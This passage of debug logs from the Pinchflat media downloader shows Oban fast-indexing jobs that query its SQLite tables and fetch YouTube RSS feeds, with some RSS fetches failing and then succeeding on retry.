s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:09:55.196 [debug] QUERY OK source="settings" db=0.1ms idle=1049.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:09:55.196 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:09:55.196 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:09:55.196 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:09:55.326 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 05:09:55.326 [debug] QUERY OK source="media_items" db=0.4ms idle=130.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 05:09:55.330 [debug] QUERY OK source="media_items" db=3.7ms idle=131.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 05:09:55.331 [debug] QUERY OK source="tasks" db=0.0ms idle=135.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [543, 1, ~U[2026-07-24 05:09:55Z], ~U[2026-07-24 05:09:55Z]] 05:09:55.331 [info] {"args":{"id":1},"id":541,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":136299,"event":"job:stop","queue_time":820733,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:09:55.665 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.042 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:10:25.666 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:38.239 [info] {"args":{"id":3},"id":542,"meta":{},"system_time":1784869838239646528,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:10:38.240 [debug] QUERY OK source="sources" db=0.1ms idle=1092.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:10:38.240 [debug] QUERY OK source="settings" db=0.0ms idle=1093.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:10:38.240 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:10:38.240 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:10:38.240 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:10:38.368 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":542,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":127858,"event":"job:exception","queue_time":574200,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:10:55.667 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:57.259 [info] {"args":{"id":3},"id":542,"meta":{},"system_time":1784869857259533547,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:10:57.259 [debug] QUERY OK source="sources" db=0.1ms idle=1112.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:10:57.260 [debug] QUERY OK source="settings" db=0.0ms idle=1008.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:10:57.260 [debug] QUERY OK source="media_profiles" db=0.0ms idle=113.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:10:57.260 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:10:57.260 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:10:57.811 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":542,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":551478,"event":"job:exception","queue_time":891005,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:11:00.043 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:11:17.279 [info] {"args":{"id":3},"id":542,"meta":{},"system_time":1784869877279362064,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:11:17.279 [debug] QUERY OK source="sources" db=0.1ms idle=132.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:11:17.279 [debug] QUERY OK source="settings" db=0.1ms idle=132.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:11:17.280 [debug] QUERY OK source="media_profiles" db=0.0ms idle=132.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:11:17.280 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:11:17.280 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:11:17.462 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 05:11:17.462 [debug] QUERY OK source="media_items" db=0.4ms idle=182.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 05:11:17.465 [debug] QUERY OK source="media_items" db=3.0ms idle=183.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 05:11:17.466 [debug] QUERY OK source="tasks" db=0.1ms idle=186.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [544, 3, ~U[2026-07-24 05:11:17Z], ~U[2026-07-24 05:11:17Z]] 05:11:17.467 [info] {"args":{"id":3},"id":542,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":187502,"event":"job:stop","queue_time":467415,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:11:25.668 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:55.669 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.044 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:12:25.670 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:55.671 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.044 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:13:25.672 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:55.673 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.045 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:14:25.674 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:55.675 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.047 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:15:25.676 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:55.677 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.048 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:16:25.678 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:55.679 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.049 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:17:25.680 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:55.681 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.050 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:18:25.682 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:55.684 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.051 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:19:25.685 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:55.686 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:55.823 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784870395823178589,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:19:55.823 [debug] QUERY OK source="sources" db=0.1ms idle=676.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:19:55.823 [debug] QUERY OK source="settings" db=0.0ms idle=676.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:19:55.823 [debug] QUERY OK source="media_profiles" db=0.0ms idle=137.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:19:55.823 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:19:55.823 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:19:55.996 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":171086,"event":"job:exception","queue_time":491782,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:20:00.052 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:20:14.845 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784870414845384333,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:20:14.845 [debug] QUERY OK source="sources" db=0.1ms idle=1698.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:20:14.845 [debug] QUERY OK source="settings" db=0.0ms idle=1698.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:20:14.846 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:20:14.846 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:20:14.846 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:20:14.950 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103944,"event":"job:exception","queue_time":850120,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:20:25.687 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:34.868 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784870434868128749,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:20:34.868 [debug] QUERY OK source="sources" db=0.1ms idle=721.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:20:34.868 [debug] QUERY OK source="settings" db=0.3ms idle=721.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:20:34.869 [debug] QUERY OK source="media_profiles" db=0.1ms idle=722.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", 